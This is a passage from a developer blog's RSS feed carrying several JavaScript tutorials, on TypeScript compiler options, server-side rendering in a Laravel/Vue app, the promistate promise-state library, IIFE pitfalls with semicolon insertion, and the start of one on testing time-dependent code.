      <span class="hljs-attr">"outDir"</span>: <span class="hljs-string">"./dist"</span>,
      <span class="hljs-attr">"target"</span>: <span class="hljs-string">"ES5"</span>,
      <span class="hljs-attr">"module"</span>: <span class="hljs-string">"CommonJS"</span>,
  },
  <span class="hljs-attr">"include"</span>: [
      <span class="hljs-string">"src/**/*"</span>
  ]
}
</code></pre>
<p>First I don't really want to go all the way down to ES3, ES5 is already enough. We can define this using the &quot;target&quot; option. Next, I want to be explicit about the module resolution so it's easy to see that we indeed use CommonJS.</p>
<p>If you are not familiar with the module resolution, try setting it to &quot;ES2015&quot;. This would now compile the code to ES5, however use ES modules to import/export files</p>
<pre class="hljs"><code><span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">scream</span>(<span class="hljs-params">text</span>) </span>{
    <span class="hljs-keyword">var</span> transformedText = text.toUpperCase();
    <span class="hljs-keyword">return</span> transformedText + <span class="hljs-string">"!!!!"</span>;
}
</code></pre>
<p>But let's revert that again, so people can use it in Node.</p>
<h3 id="enabling-strict-mode">Enabling strict mode</h3>
<p>I really recommend you to get your hands dirty with TypeScript and not only use it for transpiling, but especially as a compiler. A good way of doing this is enforcing types by enabling &quot;strict&quot; mode.</p>
<pre class="hljs"><code>{
  <span class="hljs-attr">"compilerOptions"</span>: {
      <span class="hljs-attr">"outDir"</span>: <span class="hljs-string">"./dist"</span>,
      <span class="hljs-attr">"target"</span>: <span class="hljs-string">"ES5"</span>,
      <span class="hljs-attr">"module"</span>: <span class="hljs-string">"CommonJS"</span>,
      <span class="hljs-attr">"strict"</span>: <span class="hljs-literal">true</span>
  },
  <span class="hljs-attr">"include"</span>: [
      <span class="hljs-string">"src/**/*"</span>
  ]
}
</code></pre>
<p>If you are using VSCode you should already see some red wiggly lines in index.ts, but go ahead and try compiling your code again using <code>npm run compile</code>.</p>
<p>You should get an error saying: &quot;src/index.ts:1:24 - error TS7006: Parameter 'text' implicitly has an 'any' type.&quot;</p>
<p>To fix it, let's head over to index.ts and properly type it</p>
<pre class="hljs"><code><span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">scream</span>(<span class="hljs-params">text: <span class="hljs-built_in">string</span></span>) </span>{
  <span class="hljs-keyword">const</span> transformedText = text.toUpperCase()
  <span class="hljs-keyword">return</span> <span class="hljs-string">`<span class="hljs-subst">${transformedText}</span>!!!!`</span>
}
</code></pre>
<p>This leads to fantastic developer experience because of the powerful intellisense and early error &amp; bug catching.</p>
<h3 id="declaration-files">Declaration files</h3>
<p>Since we transpile the code to JavaScript, we unfortunately lose all of the type information (for intellisense) again once we import the library somewhere else. To migitate that, Typescript allows us to emit so called declaration files. We simply have to instruct TS to do so</p>
<pre class="hljs"><code>{
  <span class="hljs-attr">"compilerOptions"</span>: {
      <span class="hljs-attr">"outDir"</span>: <span class="hljs-string">"./dist"</span>,
      <span class="hljs-attr">"target"</span>: <span class="hljs-string">"ES5"</span>,
      <span class="hljs-attr">"module"</span>: <span class="hljs-string">"CommonJS"</span>,
      <span class="hljs-attr">"strict"</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">"declaration"</span>: <span class="hljs-literal">true</span>
  },
  <span class="hljs-attr">"include"</span>: [
      <span class="hljs-string">"src/**/*"</span>
  ]
}
</code></pre>
<p>This will now output &quot;.d.ts&quot; files in the <code>dist</code> folder during compilation.</p>
<h3 id="absolute-imports">Absolute imports</h3>
<p>This one is probably not needed for a simple library but it's good to know. You can set the &quot;src&quot; folder to be the base url so you don't have to write things like <code>import something from '../../../something</code>.</p>
<pre class="hljs"><code>{
  <span class="hljs-attr">"compilerOptions"</span>: {
      <span class="hljs-attr">"outDir"</span>: <span class="hljs-string">"./dist"</span>,
      <span class="hljs-attr">"target"</span>: <span class="hljs-string">"ES5"</span>,
      <span class="hljs-attr">"module"</span>: <span class="hljs-string">"CommonJS"</span>,
      <span class="hljs-attr">"strict"</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">"declaration"</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">"baseUrl"</span>: <span class="hljs-string">"./src"</span>
  },
  <span class="hljs-attr">"include"</span>: [
      <span class="hljs-string">"src/**/*"</span>
  ]
}
</code></pre>
<p>Say you have the file <code>src/services/something</code>, you can now simply do <code>import something from 'services/something'</code>.</p>
<h3 id="lib">lib</h3>
<p>Remember when I was mentioning this in the beginning &quot;Finally, you think you are all set and use <code>[1, 2].includes(1)</code> only to hear complaints from some users that the site is crashing&quot;. So how does TypeScript save us from this?</p>
<p>Well, just try adding that code into the &quot;scream&quot; method:</p>
<pre class="hljs"><code><span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">scream</span>(<span class="hljs-params">text: <span class="hljs-built_in">string</span></span>) </span>{
  [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>].includes(<span class="hljs-number">1</span>)
  <span class="hljs-keyword">const</span> transformedText = text.toUpperCase()
  <span class="hljs-keyword">return</span> <span class="hljs-string">`<span class="hljs-subst">${transformedText}</span>!!!!`</span>
}
</code></pre>
<p>This now gets us the error <code>Property 'includes' does not exist on type 'number[]'.ts(2339)</code> and that is so so great.</p>
<p>Think about it!</p>
<p>We are targetting ES5 in the tsconfig.json, but &quot;Array.prototype.includes&quot; is an ES2016 (ES7) feature! TypeScript, by default, let's you know there is something missing in your setup.
If you go ahead and change the target to &quot;ES2016&quot;, your code can compile just fine again. But that's not what we want...</p>
<p>By default Typescript doesn't include these so called polyfills, just like babel. There are just too many ways one can implement them.</p>
<p>A simple way to emulate a ES2015/ES6 environment is to use babel-polyfill. (But be aware of <a href="/articles/what-babel-polyfill-doesnt-include">what babel-polyfill does NOT include</a>).</p>
<p>So with the polyfills in place, we can now use the &quot;lib&quot; option to tell TypeScript that we've taken care of this dilemma and to trust us on this.</p>
<pre class="hljs"><code>{
  <span class="hljs-attr">"compilerOptions"</span>: {
      <span class="hljs-attr">"outDir"</span>: <span class="hljs-string">"./dist"</span>,
      <span class="hljs-attr">"lib"</span>: [<span class="hljs-string">"ES2018"</span>],
      <span class="hljs-attr">"target"</span>: <span class="hljs-string">"ES5"</span>,
      <span class="hljs-attr">"module"</span>: <span class="hljs-string">"CommonJS"</span>,
      <span class="hljs-attr">"strict"</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">"declaration"</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">"baseUrl"</span>: <span class="hljs-string">"./src"</span>
  },
  <span class="hljs-attr">"include"</span>: [
      <span class="hljs-string">"src/**/*"</span>
  ]
}
</code></pre>
<p>So we still target ES5, but are now also allowed to write ES2018 code.</p>
<h3 id="so-much-more">So much more</h3>
<p>There are some more options you can explore to customize and improve your TS experience: <a href="https://www.typescriptlang.org/docs/handbook/compiler-options.html">https://www.typescriptlang.org/docs/handbook/compiler-options.html</a>, but the current options should be enough for many projects already.</p>
<p><a href="https://gist.github.com/MZanggl/5a3e5cd9b9fa3196fd67caea02df42ec">Here is a gist</a> you can save for future references.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Implementing SSR into a Laravel/Vue app]]></title>
            <link>https://michaelzanggl.com/articles/implementing-ssr-in-laravel-vue-app/</link>
            <guid>implementing-ssr-in-laravel-vue-app</guid>
            <description><![CDATA[The issues I ran into integrating server-side rendering into an existing Laravel Vue application.]]></description>
            <content:encoded><![CDATA[<p>TLDR: It is possible!</p>
<p>This is meant for those who want to integrate server-side rendering into an existing Laravel Vue application. If you are planning to create a new application, consider using <a href="https://nuxtjs.org/">Nuxt.js</a> for a server-side rendered Vue application, with Laravel only serving as an API. If you want to go full Node.js, also consider using <a href="https://adonisjs.com/">Adonis.js</a> instead of Laravel.</p>
<hr>
<p>PHP does not understand JavaScript. So in order to achieve SSR, we have to spawn a Node.js instance, render our Vue app there and return the output to the client.</p>
<p>Actually, there is already a composer dependency to achieve the task: <a href="https://github.com/spatie/laravel-server-side-rendering">https://github.com/spatie/laravel-server-side-rendering</a>. You can follow the steps there to implement it. This post will merely deal with the problems I ran into. I will also give some tips along the way.</p>
<p>I am using Laravel 5.5 and Node 8.11. Let's first go over some simple things.</p>
<x-ad />
<hr>
<h3 id="the-blade-view">The blade view</h3>
<p>The documentation is a little incomplete in the repository. I was confused with <code>app.$mount('#app')</code> since in the blade files of the readme, there was no element matching the selector <code>#app</code>.</p>
<p>Actually, the complete blade view according to the <a href="https://github.com/spatie/laravel-server-side-rendering-examples">examples</a> would look like this</p>
<p>step 1. blade</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">defer</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"{{ mix('app-client.js') }}"</span>&gt;</span><span class="handlebars"><span class="xml">
    <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
        {!! ssr('js/app-server.js')-&gt;fallback('<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"app"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>')-&gt;render() !!}
        <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">defer</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"</span></span></span><span class="hljs-template-variable">{{ mix('app-client.js') }}</span><span class="xml"><span class="hljs-tag"><span class="hljs-string">"</span>&gt;</span><span class="handlebars"><span class="xml">
    <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</span></span></span></span></code></pre>
<p>step 2. Vue</p>
<p>The root component also gets the id <code>app</code> assigned.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>
  &lt;<span class="hljs-attr">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"app"</span>&gt;</span>
    <span class="hljs-comment">&lt;!-- ... --!&gt;
  &lt;/div&gt;
&lt;/template&gt;
</span></code></pre>
<hr>
<p>So when SSR fails for some reason it would fall back to <code>&lt;div id=&quot;app&quot;&gt;&lt;/div&gt;</code> and the client-side render would take care of everything.</p>
<p>Otherwise, after the app has been rendered on the server, the client side mount <code>app.$mount('#app')</code> would still work properly because of step <code>2</code>.</p>
<p>So this works, but having the same ID in multiple places is a little confusing. An easier solution would be to put <code>#app</code> in a wrapper class only in the blade view.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">defer</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"{{ mix('app-client.js') }}"</span>&gt;</span><span class="handlebars"><span class="xml">
    <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"app"</span>&gt;</span>
            {!! ssr('js/app-server.js')-&gt;render() !!}
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</span></span></code></pre>
<p>Yes, even with SSR in place, we still need a client-side mount to let Vue add event listeners, deal with all the reactivity and lifecycle hooks. One example would be the <code>mounted</code> method which will only be executed on the client. SSR will only execute what is needed for the initial render.</p>
<h3 id="whats-my-node-path-in-.env">What's my Node path in .env</h3>
<p>In many cases, this might simply be</p>
<pre class="hljs"><code>NODE_PATH=node
</code></pre>
<p>You know, the same way you can globally access Node for things like <code>node some-file.js</code> or <code>node -v</code>.</p>
<h3 id="it-doesnt-perform-ssr-at-all">It doesn't perform SSR at all</h3>
<p>By default, it is only activated for production. You can change this by first publishing the config file</p>
<pre class="hljs"><code>php artisan vendor:publish --provider=<span class="hljs-string">"Spatie\Ssr\SsrServiceProvider"</span> --tag=<span class="hljs-string">"config"</span>
</code></pre>
<p>and then changing <code>'enabled' =&gt; env('APP_ENV') === 'production'</code> to <code>'enabled' =&gt; true</code>.</p>
<hr>
<p>By now it should at least try to perform SSR. That means you are one step closer to finishing it. But now you might encounter problems like the following when Node tries to render the Vue app.</p>
<h3 id="async-await-is-crashing">async await is crashing</h3>
<p>We are talking about integrating this into an existing application. So be sure to check whether your version of Laravel-mix is not too outdated. In my case, it was not even on 2.0. An update to <code>laravel-mix@2.1.14</code> was enough to fix these issues. You might want to consider updating even higher, but then be sure to check the release notes regarding the breaking changes.</p>
<h3 id="all-props-are-undefined-in-child-component">All props are undefined in child component</h3>
<p>Another error that turned out to be a version error. An update from 2.5 to the latest <code>vue@2.6.10</code> fixed the error. In hindsight, the problem might have also occurred due to having different versions for Vue and <code>vue-server-renderer</code>.</p>
<h3 id="window-is-not-defined-in-return-window-%26%26-document-%26%26-document.all-%26%26-!window.atob">Window is not defined in <code>return window &amp;&amp; document &amp;&amp; document.all &amp;&amp; !window.atob</code></h3>
<p>Now it becomes a little more interesting. You will encounter this error as soon as you have styles in a Vue component. The reason for this is because <code>vue-loder</code> uses <code>style-loader</code> under the hood, which is responsible for dynamically adding the styles to the head during runtime. But there is one problem, <strong>it only works in the browser</strong>. Since SSR is rendered in Node, there is neither <code>window</code> nor <code>document</code> available. So this got me thinking, how is Nuxt.js doing it? They are also using vue-loader after all. The solution is quite easy: Extract the styles before they are rendered by Node. This is actually a good practice to do so, so let's set it up in laravel-mix.</p>
<p>The only thing we have to do is add the following to the <code>options</code> in <code>webpack-mix.js</code>.</p>
<pre class="hljs"><code>mix.options({
    <span class="hljs-attr">extractVueStyles</span>: <span class="hljs-string">'public/css/app.css'</span>,
})
</code></pre>
<p>All styles are being extracted into a single file <code>app.css</code>. If you have individual pages that use Vue and you would like to have a separate CSS file for each page, go with the following:</p>
<pre class="hljs"><code>mix.options({
    <span class="hljs-attr">extractVueStyles</span>: <span class="hljs-string">'public/css/[name].css'</span>,
})
</code></pre>
<p>This would create the following files for example</p>
<pre class="hljs"><code>&gt; /public/css/js/login.css
&gt; /public/css/js/registration.css
&gt; /public/css/js/search.css
</code></pre>
<hr>
<p>Apart from extracting Vue styles you also have to remove importing CSS files in JavaScript.</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> <span class="hljs-string">"some-library/some-style.css"</span>
</code></pre>
<p>Instead, move these to some global style sheet. You might already have some merging technique in place for that. Again, it's a good practice to do so anyway ;)</p>
<h3 id="webpackjsonp-is-not-defined">webpackJsonp is not defined</h3>
<p>If this happens, you are likely extracting Node modules out into a vendor file. This has various performance benefits.</p>
<pre class="hljs"><code>mix.extract([<span class="hljs-string">'vue'</span>]);
</code></pre>
<p>Why is it crashing? If you look at the output of <code>manifest.js</code> it creates a global variable <code>webpackJsonp</code> and every JavaScript file will access this global variable to resolve the dependencies. Node.js, however, would not get <code>manifest.js</code> as well as <code>vendor.js</code> and therefore would be missing global variables and crash when trying to render your app.</p>
<p>One way to still make use of this feature is to have one webpack.mix.js file for only the server side scripts and another one for the client side scripts. <a href="https://github.com/spatie/laravel-server-side-rendering/issues/26#issuecomment-452348326">This comment</a> shows how to do exactly that. Unfortunately, that is the only way I know of now how to keep extracting your dependencies.</p>
<h3 id="window-document-%24-localstorage-etc.-is-not-defined">window / document / $ / localStorage / etc. is not defined</h3>
<p>By now, your page might already render correctly, but there are a couple more traps to run into.</p>
<p>Imagine the following</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-title">data</span></span>() {
    name: localStorage.getItem(<span class="hljs-string">'name'</span>)
}
</code></pre>
<p>and... crash!</p>
<p>This has nothing to do with the plugin or Laravel at this point, but simply something you have to be aware of when using SSR. window/document/localStorage and much more only exist on the client, not within Node.</p>
<p>There are two workarounds to fix the crash.</p>
<ol>
<li>check the existence of variables before accessing these kinds of objects</li>
</ol>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-title">data</span></span>() {
    name: typeof localStorage !== <span class="hljs-string">'undefined'</span> ? localStorage.getItem(<span class="hljs-string">'name'</span>) : null
}
</code></pre>
<ol start="2">
<li>Move the logic to the <code>mounted</code> method.</li>
</ol>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-title">data</span></span>() {
    name: null
},
<span class="hljs-function"><span class="hljs-title">mounted</span></span>() {
    // client only
    this.name = localStorage.getItem(<span class="hljs-string">'name'</span>)
}
</code></pre>
<p>In Nuxt.js you could also make use of the global <code>process.client</code> boolean to check whether the code is being executed on the server or on the client.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Having to more or less manually set up SSR really makes one appreciate frameworks like Nuxt.js. But the good news is that SSR in Laravel is definitely possible.</p>
<p>If there is any other problem, think: How is Nuxt.js doing it? Because there is certainly a way to do it.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Isomorphic handling of promises in libraries like react.js, vue.js, angular, svelte etc.]]></title>
            <link>https://michaelzanggl.com/articles/isomorphic-handling-of-promises-in-ui-libs/</link>
            <guid>isomorphic-handling-of-promises-in-ui-libs</guid>
            <description><![CDATA[If you are working on a SPA that connects to an API somewhere, you are going to need to write a lot of fetch requests. Now it's not as simple as fetching something and putting the result on the page.]]></description>
            <content:encoded><![CDATA[<p>If you are working on a SPA that connects to an API somewhere, you are going to need to write a lot of fetch requests.</p>
<p>Now it's not as simple as fetching something and putting the result on the page.</p>
<p>What about an indication for the user that the request is currently pending? What when there was an error fetching the resource? What if the result is empty? What if you need to be able to cancel requests? ...</p>
<p>Handling all of that introduces a lot of boilerplate. Now imagine having two or even more API requests in a component...</p>
<p>So here's an approach I've been using for quite a while now. I mainly developed this for a SPA I wrote in vue.js but since realized that it pretty much works with every single UI library as well as plain Vanilla JS.</p>
<p>I extracted it to a library called <a href="https://github.com/MZanggl/promistate">promistate</a>.</p>
<x-ad />
<p>It works by first defining your promise like this:</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> promistate <span class="hljs-keyword">from</span> <span class="hljs-string">'promistate'</span>

<span class="hljs-keyword">const</span> userPromise = promistate(<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">callback</span>(<span class="hljs-params">id</span>) </span>{
    <span class="hljs-keyword">return</span> fetch(<span class="hljs-string">`/api/users/<span class="hljs-subst">${id}</span>`</span>).then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> res.json())
})
</code></pre>
<p>This won't execute the callback right away but <code>userPromise</code> already holds a lot of useful properties for us. For example, we can say <code>userPromise.value</code> to get the resolved value (currently null), <code>userPromise.isPending</code> to know if the promise is pending, and <code>userPromise.error</code> to see if there was an error fetching the resource. There are a couple of more useful properties...</p>
<p>Now how do we actually fetch? We simply do <code>userPromise.load(1)</code>. This will now set <code>isPending</code> to true, and after the promise settled, it will mutate <code>userPromise.value</code> if successful, or <code>userPromise.error</code> if an error was thrown.</p>
<p>Now let's see it in action in a Vue component.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"todosPromise.load()"</span>&gt;</span>load<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"todosPromise.reset()"</span>&gt;</span>reset<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">"todosPromise.error"</span>&gt;</span>Whoops!<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else-if</span>=<span class="hljs-string">"todosPromise.isPending"</span>&gt;</span>Pending...<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else-if</span>=<span class="hljs-string">"todosPromise.isEmpty"</span>&gt;</span>empty...<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">"todo in todosPromise.value"</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">"todo.title"</span>&gt;</span>{{ todo.title }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> promistate <span class="hljs-keyword">from</span> <span class="hljs-string">"promistate"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  data() {
    <span class="hljs-keyword">const</span> todosPromise = promistate(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span>
      fetch(<span class="hljs-string">"https://jsonplaceholder.typicode.com/todos"</span>).then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span>
        res.json()
      )
    );

    <span class="hljs-keyword">return</span> { todosPromise };
  }
};
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Alright, what about react? This requires the use of the usePromistate hook.</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> React <span class="hljs-keyword">from</span> <span class="hljs-string">"react"</span>;
<span class="hljs-keyword">import</span> { usePromistate } <span class="hljs-keyword">from</span> <span class="hljs-string">"promistate/lib/react"</span>;

<span class="hljs-keyword">const</span> api = <span class="hljs-string">"https://jsonplaceholder.typicode.com/todos"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">App</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">const</span> [todosPromise, actions] = usePromistate(
    <span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> fetch(api).then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> res.json()),
    { <span class="hljs-attr">defaultValue</span>: [] }
  );

  <span class="hljs-keyword">return</span> (
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">className</span>=<span class="hljs-string">"App"</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onClick</span>=<span class="hljs-string">{actions.load}</span>&gt;</span>load<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onClick</span>=<span class="hljs-string">{actions.reset}</span>&gt;</span>reset<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>

      {todosPromise.isPending &amp;&amp; <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>pending...<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>}
      {todosPromise.isEmpty &amp;&amp; <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>no results...<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>}
      {todosPromise.value.map(todo =&gt; (
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">key</span>=<span class="hljs-string">{todo.id}</span>&gt;</span>{todo.title}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
      ))}
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
  );
}
</code></pre>
<p>In the docs, I have an entire list of examples in different libraries including React.js, Vue.js, Angular, Svelte, Alpine.js, and Vanilla JS.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IIFEs in JavaScript and how to avoid this common mistake]]></title>
            <link>https://michaelzanggl.com/articles/javascript-iifes/</link>
            <guid>javascript-iifes</guid>
            <description><![CDATA[JavaScript, IIFEs and ASI.]]></description>
            <content:encoded><![CDATA[<p>Since JavaScript doesn't support top level await quite yet, the typical node index file might look something like this</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>)

(<span class="hljs-keyword">async</span> () =&gt; {
  <span class="hljs-comment">// await ...</span>
})()
</code></pre>
<p>We require the http library and then have an immediately invoked function expression(IIFE) just so we can use async await.</p>
<p>With IIFEs we write functions and immediately execute them. This is so everything that is happening within the function stays within the function and is not accessible from outside of it. It is also <strong>the</strong> way to use await at the top level as of now.</p>
<h1 id="problem">Problem</h1>
<p>I am sure many of you have fallen into this trap, as the above code actually breaks.</p>
<blockquote>
<p><code>Uncaught TypeError: require(...) is not a function</code></p>
</blockquote>
<p>The reason it crashes is because JavaScript tries to execute this (try formatting the above code in your editor to get the same result)</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>)(<span class="hljs-keyword">async</span> () =&gt; {
  <span class="hljs-comment">// ...</span>
})()
</code></pre>
<p>It expects the <code>require</code> method to return a function, in which we pass an asynchronous function and then we execute the result of that. 🤯</p>
<p>The error becomes especially hard to catch when you have two IIFEs in a row.</p>
<blockquote>
<p><code>Uncaught TypeError: (intermediate value)(...) is not a function</code></p>
</blockquote>
<x-ad />
<h1 id="common-workarounds">Common workarounds</h1>
<p>There are common workarounds for this, which are all about telling JavaScript that the IIFE is indeed a new statement, most notably</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>)

<span class="hljs-keyword">void</span> (<span class="hljs-keyword">async</span> () =&gt; { <span class="hljs-comment">// &lt; note the void at the beginning</span>

})()
</code></pre>
<p>or</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>); <span class="hljs-comment">// &lt; note the semicolon</span>

<span class="hljs-function">(<span class="hljs-params"><span class="hljs-keyword">async</span> (</span>) =&gt;</span> {

})()
</code></pre>
<p>or even</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>)

!<span class="hljs-function">(<span class="hljs-params"><span class="hljs-keyword">async</span> (</span>) =&gt;</span> { <span class="hljs-comment">// &lt; note the exclamation mark</span>

})()
</code></pre>
<h1 id="labels">Labels</h1>
<p>The above workarounds are nothing new, but here is something you might have not seen yet.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>)

<span class="hljs-attr">IIFE</span>: <span class="hljs-function">(<span class="hljs-params"><span class="hljs-keyword">async</span> (</span>) =&gt;</span> {

})()
</code></pre>
<p>Yup, labels work as well. You can put labels before any statement. We can replace <code>IIFE</code> with anything we want at this point as long as it follows the syntax. If it works as a variable name, it works as a label identifier.</p>
<pre class="hljs"><code>一か八か: <span class="hljs-number">1</span> + <span class="hljs-number">1</span>
</code></pre>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/label">Labels</a> are actually quite interesting. Look at the following code snippet taken from MDN.</p>
<pre class="hljs"><code>foo: {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'this will be executed'</span>);
  <span class="hljs-keyword">break</span> foo;
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'this will not be executed'</span>);
}
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">'this will be executed as well'</span>);
</code></pre>
<h1 id="conclusion">Conclusion</h1>
<p>Since labels are not so well known, it is probably better to stick with semicolons or void, but it is nonetheless interesting. I like how they add some documentation to IIFEs. Well, let's just wait a little more for top level await.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to test time-dependent code in JavaScript]]></title>
            <link>https://michaelzanggl.com/articles/javascript-time-travel/</link>
            <guid>javascript-time-travel</guid>
            <description><![CDATA[Time travelling in JavaScript!]]></description>
            <content:encoded><![CDATA[<p>Say you have a piece of code that depends on the current time.</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isAM</span>(<span class="hljs-params"></span>) </span>{
 <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>().getHours() &lt; <span class="hljs-number">12</span>
}
</code></pre>
<p>Let's create a test for this.</p>
<pre class="hljs"><code>it(<span class="hljs-string">'is AM when it is before 12 noon'</span>, () =&gt; {
  <span class="hljs-keyword">return</span> isAM()
})
</code></pre>
<p>The problem is that this test works fine before 12 noon, but will fail afterward.</p>
<p>To fix this, we can pass the date through the function as an argument.</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isAM</span>(<span class="hljs-params">date = new Date(</span>)) </span>{
